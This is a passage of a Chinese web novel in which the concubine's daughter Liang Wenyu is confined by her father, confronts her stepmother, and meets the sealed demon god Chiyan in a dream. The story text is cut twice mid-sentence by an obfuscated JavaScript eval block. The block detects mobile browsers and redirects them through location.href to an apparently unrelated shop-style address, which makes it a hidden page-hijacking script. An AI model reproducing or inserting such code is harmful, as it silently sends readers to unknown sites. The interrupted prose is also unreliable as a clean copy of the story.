他年纪与意欢相仿,平时言行举止很是洒脱随性,最不拘小节,和梁温玉很合得来。当下他站在梁桓身旁不自觉的还是挺直了后背行了礼。 梁温玉笑盈盈地回了声:“三哥哥好。半年没见,你变壮了不少,看了是军营的伙食不错。” “你这小鬼!我听下人说你出了意外,担心得很,赶紧出来看你还好不好……还有哪里不舒服的吗?那晚究竟发生了什么?” 梁温玉心里打起鼓来:“……那晚的事我不记得了,听丫鬟说天上掉下个火球,把我吓得厥了过去……还好还好,虚惊一场罢了!” “阿玉,你没事那就好!这次见你气色比原先好了很多,改日三哥带你上学堂去,考考你还会不会背千字文了。” 梁温玉一脸意外,尴尬地抓了抓头。 王氏连忙安抚道:“好了好了,平安就好。夜间凉,别在风里站着了,都回房休息吧。” 梁温玉福了一福,便带着燕草回房了,意琬和意欢还站在檐下面面相觑。 意琬总觉得哪里有蹊跷,如今这个梁温玉不像从前那样骄横跋扈,居然规规矩矩站在这里请安,倒像是在刻意隐瞒什么。 整座侯府的人都清楚,那夜的事情绝不简单,从天生掉下的陨星八成就是妖孽,梁温玉那夜确实给大夫诊治过,发现没了气息,肯是在隐瞒些什么。 梁桓从进门开始就一言不发,神色阴郁,意琬看在眼里直觉告诉它可能是出什么事了,鼓起勇气上前对爹爹说道。 “爹,外面都在传小五和……她娘亲的事。这几日我和意欢听从母亲的嘱托,都老老实实在家中没有外出。您只管放心去陪小五吧。” 梁桓整日为军务操劳,这几年心思又系在蓝殷母女身上,难免对这个嫡长女儿疏忽,竟不知她已出落得这样亭亭玉立。 他拉着女儿的手道:“琬儿,这些年是爹爹不好,为了外人,薄待了你。” 梁意琬听出父亲话的歉疚之意,心头一酸,拥住梁桓的胳膊亲昵道:“爹爹,女儿只盼您能多陪伴在身旁。” 10. 第10章 困兽 房间内的一切家具摆设如旧,桌上还放了块绣了一半的锦帕,针线歪歪扭扭,仔细看才能看出绣的是只蓝色的凤凰,原本是想赶在回永福巷之前绣好了送给阿娘,谁知那晚竟被那灾星砸中了。 梁温玉的暖阁在侯府的西北角最僻静之处,透过镂空雕花的窗子向外看,院子里灯火通明,承瑾和意欢站在檐下话着家常,爹带着意琬朝偏院走去了,他们才算真正的一家子骨肉。 只有靠近她房间的院落一角冷冷清清。 梁温玉将外面的布袍脱下, 露出里面的衣服沾着斑斑血迹,燕草见了不由得失声道: “姑娘!你受伤了?” “你别管。快点如实告诉我,刚刚到底怎么一回事,阿娘她何故不辞而别?” 梁温玉感觉自己像是被遗弃了,身子一软坐在椅子上,说话的语调也委屈极了。 “姑娘……夫人她到了玄清观,先去找谢道长说了会话,回来以后就神色不太好。” 梁温玉不禁一脸错愕。 “谢昭?母亲找他做什么……” 燕草摇了摇头,“夫人临走之前只交代让我在观里等你,带着你先回侯府,她还说……若是日后你遇见危险,就到玄清观找谢昭道长。然后就一个人孤身下了山,不知去了哪里。” “凭什么要他来救我!” 梁温玉气得拍案而起,牵动了手臂的伤口,传来一阵锥心的疼痛。她并非是因谢昭动怒,而是生气母亲有事瞒着自己。门口忽然传来脚步声,她不由得生出一种不好的预感。 梁温玉走到房门口,警惕地将门推开条缝,只见一左一右立着两个侍卫,持刀拦住了她的去路。 “五姑娘,侯爷交代了,让您好好在房内静心思过,不得外出。” 梁温玉明白梁桓这是要禁她的足,怕她再逃出去寻母。她气不过,“砰”的一声,将房门合上,转头拉住了燕草,近乎恳求地说道。 “好燕草,你把知道的事情都一五一十告诉我好不好?阿娘这样突然不见了,我真的担心她会有什么不测。” 燕草并不比梁温玉大几岁,最是忠心护主,她见主子神情惊恐,低声安慰道: “姑娘,门口那些人都是侯爷安排的……夫人走后,侯府的马车就驶上了山门。侯爷手下的护卫把围观的人都遣散了,却还是寻不见你和夫人,侯爷大发雷霆,差点要杀了奴婢。” 燕草吓得将压在心底的话都如实说了出来。 “姑娘,你昏迷的那段时间,整个临沅城都在传我们娘子是不祥之身,还有人说你们母女两个都是妖怪,才让侯爷一路都在打败仗。侯爷之前不许你和娘子出门,也是怕那些闲言碎语被你听见……”燕草说着说着,泪珠忍不住滚下。 梁温玉听了这话大惊,急得肩膀簌簌发抖,她咬着唇,努力让自己保持镇静。 居然是这样,居然只是因为这些流言!更可恶的是,爹爹他居然真的信了那些话! 梁温玉的声音变得十分尖锐:“……这些人真该死!为什么要把所有错怪罪在一个女人身上。燕草,听着,你得帮我逃出去,我要去找阿娘。” “逃不掉的,姑娘!这城里到处都是侯爷麾下的亲兵。就连永福巷的宅子里也都是侯府的人,就算你逃出去了,人海茫茫,你又能去哪找娘子呢?” 梁温玉心里反复咀嚼燕草说的每一个字,无力瘫坐在床上。 所以,蓝殷是被逼走的……为了爹爹的面子,为了侯府的名声,为了让女儿可以安心在侯府以五姑娘的身份活下去,才不得不走的! 燕草小心地帮她将伤口仔细敷上金创药,又细心包扎好。梁温玉呆呆望向窗外,她从来没觉得自己的心这样空、这样慌过。 这已经不是第一次,娘舍自己而去了。 记得八岁那年,娘也曾这般悄无声息地不告而别过,爹爹将她带回了侯府,交给了王大娘子,无论她如何哭喊,都没人告诉她娘的下落。那年她发了热症,快要病死时娘亲终于带了药回来。 莫非这一次,娘也是为了她才消失的?梁温玉隐约觉得此事与谢昭有关,可却被关了起来,没办法出门去找谢昭问问清楚。当下梁温玉也只能寄希望于爹爹手底下的影卫可以尽快将她找回来。 这般浑浑噩噩被禁足的日子,一晃便是三日过去,梁温玉精神恹恹,醒了又睡,睡了复醒,人竟消瘦了一大圈。 中间也只吃了些白粥,因为缺乏营养,手臂的伤口也恢复得很慢。依然没有蓝殷的音讯,甚至连梁桓也没有再来看过她。 燕草见她如此郁郁寡欢,十分担忧,去求了几次想面见主君,但梁桓都不愿来看梁温玉一眼。 梁温玉知道,爹得是怕看见她这张脸时会想起蓝殷。 她从那个漆黑的梦里刚醒来,还有爹娘陪伴在身边。 爹爹还答应她,等到她生辰之日,会陪着她们母女一同看折子戏。才过去几天,爹就好像变了个人一般,如此冷漠。 而娘至今还下落不明!不行,她无论如何也要去见爹爹。 梁温玉拿起那日谢昭拿给自己的布袍,小心叠好了靠近脸颊,细细嗅上面的味道,试图寻求到一丝安全感。 然后她突然想到什么,掀开衣袖,将手臂已经包扎好的布扯开。 那道伤口已经微微结痂,在燕草震惊的目光下,梁温玉硬生生将那那薄痂撕了下来,伤口被撕裂,血珠立即渗了出来,她疼得倒吸一口凉气,只见鲜红的血顺着苍白的皮肤蜿蜒而下。 她冷静地说道:“燕草,你去喊人过来” 燕草连忙跌跌撞撞跑到门口,大声喊着救命。 门口侍卫拔刀进来,只见梁温玉手臂鲜血淋漓,虚弱道:“你们去喊我爹过来!” 侍卫哪敢耽搁,急忙出去通报。 没过一会儿,门口便响起脚步声,门被推开了。梁温玉抬头一看,进来的人却是主母王氏,身后还跟了个大夫。 “怎么是你?我要见我爹!你走开。”她扭过头,故意不去理会。 “温玉,快让大夫看看你的伤……” 梁温玉挣扎着推开看诊的大夫,哭诉着,“是我自己伤的自己!去叫我爹过来,若还不把我娘找回来,我就不包扎这伤口!” 王氏吩咐旁的人都退下,屋内只剩她们二人,然后满脸疼惜地在床边坐下。 “温玉,一转眼你都这么大了。侯爷把你领回来那年,你只有八岁,瘦的皮包骨头,整夜做噩梦喊着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482580|201833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要娘亲。我去玄清观为你求来了枕梦璃,为了偿还这份恩情,多年来我一直吃素。其实……在我心里一直把你看得和琬儿一样,都当做是我自己的女儿。你扪心自问,这些年我有没有苛待过你?” 梁温玉不可置信地看向王氏和蔼的脸。 “这枕梦璃……是你……原来这些年你吃素,是因为我。” 王氏轻抚着梁温玉那头乌黑柔亮的秀发,神情依旧是淡淡的。 “玄清观的规矩一向如此。求他们做一件事,就要付出相同的代价。有些珍贵的东西,是金钱也换不来的……” 梁温玉却不明白王氏话里的深意。 珍贵的东西,除了那块玉,难道还有别的什么吗? 王氏低着头,将她挣开的伤口重新包扎好。 “你就要十五了,可性子还是这么乖戾……我常常想,你何时才能乖一点,能体谅你爹爹的难处呢?如今和天曌的战事吃紧,他整日埋在军务里已经心力交瘁。蓝殷她无故出走,你爹爹心里也不好受……据我所知,他已经派了手下的十二影卫出去寻了。” 梁温玉捂住耳朵哭闹:“你骗我,如果他真的派人去寻,这么多天了,为何还没有娘的消息?” 王氏叹了口气:“温玉,蓝殷的身份,本就不应该侍奉在侯爷身边,这么多年下来已经不易了……你有没有替她想过?离开对她而言或许才是解脱。” 梁温玉情绪激动,声嘶力竭道:“我知道!我阿娘是风尘女子,被你们所不耻。可我到底是她的女儿,你们为什么不连我一同赶出去呢!” “你错了,温玉。她当年凭空出现,说宁愿为奴为婢也要留在侯爷身边……如今也是她自己要走的,从来没有人驱赶过她。” 梁温玉从来对王氏都又敬又怕,这个话很少的女子,永远都让人看不透,梁温玉甚至直到今天才知道这个嫡母对幼时的自己有过诸多照拂。 “母亲,求你告诉我,怎么样才能把我阿娘找回来。她离开爹爹,再没了我在身边,一个人无依无靠该怎么活下去。” “孩子,你爹爹的本事你还不了解么?等到日后流言散去,他自会再接蓝殷回来,与你再叙天伦。可你要听你爹的话,把身子养好,将来寻一桩门当户对的亲事,平安喜乐过这一生,这才是蓝殷她希望看到的呀。” 梁温玉听到这话终于止住了哭声,她听明白了王氏的意思。所以,阿娘是爹软禁起来的,为的就是让她放弃去寻母亲,安安心心地当这侯府小姐。 “说得好听……你们将我关起来,也是怕我再生事端,影响到侯府的名声吧。” 梁温玉看向王氏,眼光如冷箭般射了过来。她突然笑了,那笑容全然不像一个只有十四岁的少女。 这一瞬间,梁温玉终于意识到了梁桓的无情。 对他而言,她与蓝殷之间唯一的区别大概只是因为自己身上还流着他的血脉罢了。 武定侯眼中的温玉,原本是个惹人喜爱的庶女,偶尔惹是生非但不会有损家族体面。可如今妾室和庶女成了招致灾祸、令家族蒙羞的话柄,影响到了他的仕途和家族声誉,他能留下她就已经是天大的慈悲之心了。 她这位父亲,当真是凉薄至极。 、 11. 第11章 妖神 “你们都听着,五姑娘身体不适,需要在房间内静养,除了送饭的丫鬟,谁都不准进去探望。” 看着王氏关上门离去的背影,梁温玉心里对亲情的最后一点指望彻底断了。 父亲对他这个女儿,或许从一开始便存了几分防备。是以每逢她月中热症将发之时,便将她送至蓝殷身边照料,唯恐她这胎里带来的热症,被旁人视作妖异不祥。 他一直在等,等自己对蓝殷的那点爱意,凉透,散尽。等有一天他终于能狠下心,修正这个错。 梁温玉彻底醒了。 不能指望父亲能把自己放出去和娘亲团聚,她要自己想办法逃出去才行!要是也能有像谢昭那样的法力就好了。 就在这一刻,梁温玉的心头忽然浮现一个不算可能的可能——那答案,她其实早已知晓,只是一直不肯承认罢了。 就在她刚刚赌气把伤口撕裂时,也有过同样的预感,只要她流血受伤,就可以见到那个人了。 那个可以救她脱身的人! 她看着手臂的血将纱布层层洇开,对着空气,无比清晰地开口问道:“赤焰。你还在吗?” 恍惚中,似乎看见那只木偶娃娃正坐在自己面前的桌上。 正是眼前这只木偶,悄然开启了一切因果的开端。 梁温玉将房门锁紧,不让任何人进来,拼命攥紧桌上的木偶,潸然泪下。 “赤焰,你还在不在,快出来呀。” 她嗓子沙哑,一声声低声呼唤。 那木偶立在桌上没有反应。 梁温玉轻扯它背后的开关,可这回木偶却像坏掉了依然纹丝不动。 她在期盼什么呢? 梁温玉忽然觉得自己的猜测十分可笑,那个漆黑的梦,仅仅是个梦而已。 可这木偶绝不会平白无故又出现在这里的! 梁温玉试着解下了脖子上带着的枕梦璃,闭上眼睛,将意识放空,一阵倦意袭来,她趴在桌上沉沉地睡了过去。 熟悉的黑暗和浓雾如同海浪一般将她吞噬。 周围传来低沉的声音,亦真亦幻,似乎是他正在唤自己。温玉,温玉…… 梁温玉睁开眼,果然又回到这个熟悉的梦里。 尽管他离自己很远,梁温玉还是立即被那鲜亮的红发所吸引。 只见赤焰面色苍白站在数丈外,形销骨立,轮廓看起来似乎比上一次还要虚幻,还好这次他身上没有湿淋淋的了。 他美得没有真实感。 他看见温玉出现这里,唇边露出一抹摄人心魄笑。 “赤焰,我有事要问你。”她大声朝着对面的人喊着,全然不似上次那样的惊慌失措。 可他的身形犹如鬼魅,梁温玉每眨一下眼,他的位置就会变化一次,像是在和她玩捉迷藏。 “你究竟是谁?这些灾祸,当真都是你带来的吗!”梁温玉环视四周,目光一直搜寻着他的位置,突然情绪有些激动地大声询问。 耳边回荡着狐狸吱吱的笑声。 梁温玉头一阵晕眩,跌坐在地上。她累极了,顺势将下巴搁在膝盖上,疲倦地重复着一句话。 “……赤焰,告诉我,你为什么选中了我?” 那笑声戛然而止,那少年的身影突然闪现在她面前,身子微躬,把脸凑向她,眼神带着一丝怨气。 “温玉,你终于愿意面对本座了。” 赤焰一步步逼近她,与上次的楚楚可怜不同,眼前的少年全身散发着邪戾张狂的气息,气势咄咄逼人。 “世人习惯称呼我为妖神,本座只允许你一个人喊我赤焰……” 梁温玉不解地问:“妖神……是什么?” “这世间,决策和掌管万事万物运转的都可以被称作为神。与你们大晟朝推崇的正神不同,本座乃是妖界的民众所信奉的万妖之神。只不过我的本体早在几十年前给人封印了,现在只剩下这一缕残魂,失去了神力。” 梁温玉心想:不是正神,那便是邪神喽。 说话间,赤焰把黑色的玄袍敞开,他身形瘦削,肌肤胜雪,浅浅凸起的肋骨布满了新旧交错的刀伤剑痕,令人触目惊心。 “你怎么会伤的这么重!所以你才一直待在这个木偶里?” 梁温玉扭过头不敢看他伤痕累累的身体。 “哼,世上贪婪之人太多,神几乎给那些为了获取力量之辈斩杀光了……本座辛苦修炼了几十年才从冥界逃出,重生降世。竟然一个不小心居然败在玄清门的无名小子手上。重伤之下,无处可去,不得不如降乩时寄身这阴乩木偶上。” 梁温玉虽然感到恐惧,却有种极为熟悉的感觉,仿佛认识他已经是上辈子的事了。 她呐呐问道:“其实你一直躲在我的肚子里偷听是不是?” “你这个小丫头的头脑,比起你那个愚蠢至极的娘还是强一些的。”赤焰扭过头,一副气呼呼的样子。 “喂!不许你说我娘坏话,你还没有对我说清楚,为什么要一直缠着我?” 赤焰突然下挺起腰来,眉眼间满是骄矜与不屑,神态瞬间趾高气扬起来。 “什么叫本座缠着你!这本就是你作为神侍的职责之一……本座这样法力无边的妖神,降乩在人间,自然需要几个仆人为我效力。你们谢家,受了我诸多好得以荫泽世代,绵延至今,又想逃避做仆人职责,你说是不是活该被天谴?” 这些话,从赤焰嘴里说出来轻飘飘的,可梁温玉却一个字也听不懂。 “等等!你找错人了,我不姓谢,我是姓梁的……” “这你要去问你娘亲了。你姓梁,可是你娘蓝殷乃是谢家的家奴。阴乩木偶已经与她建立了血盟之誓,你是跑不了的了!无论如何也要替你娘侍奉本座。” 梁温玉气得杏眼圆睁,撅起小嘴来,双手叉腰指着赤焰便骂:“你是不是糊涂了!我认识的人里就有姓谢的,怎么不去找他。” 赤焰冷哼了一声,身体实在过于虚弱,只得缓缓将道理说与她听。 “你这小丫头,本座活了几千年,但还不至于老糊涂。你说的姓谢的,便是那日持湛泸剑要杀我的小子吧?呵呵,谢家的人竟然拜在玄清门的门下了……只可惜,这个阴乩木偶向来是传女不传男,轮不到他为本座效命。” 赤焰的话虽然大多不正经,梁温玉听了半天也明白过来,谢昭的家族与这木偶身上的秘密有关!自己和娘,都是被他家的人牵扯进去的。 她索性直截了当地将心头疑惑之事问了出来。 “赤焰,你如实告诉我。被这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482581|201833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个木偶盯上是不是就要做你的仆人,受你差遣……所以谢家的人才要找外姓女来填补这个窟窿?” “你这丫头,人虽然小倒是蛮机灵。哈哈哈,说明本座这回没看错人。”赤焰大笑着,身形又飘忽到了别处。 梁温玉想去抓他回来说个清楚,但是他身体轻得如同一阵烟,手伸过去却什么都触碰不到了。 “你、你的身体真的不见了!” “呵呵,那湛泸剑是本座的克星,姓谢那小子,年纪轻轻倒是修为不俗,能将湛泸剑的力量发挥出一二成来。若是当年的慕容桀,本座恐怕不只肉身被毁,当场就要魂飞魄散了。” “吹牛把自己说的那么厉害,现在还不是孤魂野鬼一个!”梁温玉见他自命不凡的样子,忍不住嘲讽他两句。 赤焰颓然一笑,“你说的也没错……哈哈哈哈,现在本座形同废人,永永远远被困在这个地方了,不如那天让那小子给我个痛快。” 梁温玉忽然想起那日,谢昭用剑引出的天雷其实是劈向她的,结果被斩杀的却是赤焰。 她试探着问了出口:“那日你是为了护我,才挨了谢昭一剑的是不是?” “总算你还不至于太笨。不过你也不用谢我,我救你也是为我自己……若这世间没了神侍,我这个妖神也活不了多久了。” 梁温玉看他飘来飘去的样子,哪里还有半分神明的样子,别说是法力无边的妖神,就连小妖怪都不如。 故意反问道:“光听你说的这些,我可不信你就是那令世人闻风丧胆的妖神……那你究竟有什么神通,使两招出来让我见识见识。” “哦?本座会的随随便便一样拿出来,只怕都会把你这小丫头吓坏。” “比如呢?” “本座擅长控物通灵。” “花架子……用不上。” “本座还擅长惑心入梦。” “这个见识过了啊,还有没有别的?” “呵呵……本座与天地同寿,不死不灭。” 梁温玉乌溜溜的眼睛转了转,半天没有吭声,差点让他以为自己说了什么荒唐的话。 “……你们妖神有没有稍微实际一点的神通?比如说,穿墙?” 赤焰像看傻子一样的表情盯着梁温玉的脸。 “你这丫头,是想看扁本座吗?区区雕虫小技,还用得着妖神之力催使。” “赤焰,你快带我离开这里!我阿娘下落不明,我得想办法出去救她。” 赤焰笑吟吟的,轮廓分明的薄唇轻轻凑到她白皙的颈侧,吹了一口气。梁温玉感到一阵冰凉的风吹进身体,起了一身鸡皮疙瘩。 “你这小骗子,帮你逃出去,你可要心甘情愿地做本座的神侍。” “好,你先让我见识到你的能耐!” “一言为定。” 赤焰脸上依然带着笑意,流露着一种说不出来的神秘。他目若朗星,自带锋芒,一举一动都透着蛊惑人心的阴柔美感。笑意始终凝在他脸上,张扬又危险。 梁温玉也忍不住被被他妖异魅惑的笑容所吸引,那俊美的面容下藏在她看不懂的深意。 赤焰高傲地仰起下巴,看似随意地说道:“你手臂的伤本座也帮你治好了,下次不要再让玄清门的小子随便碰你。”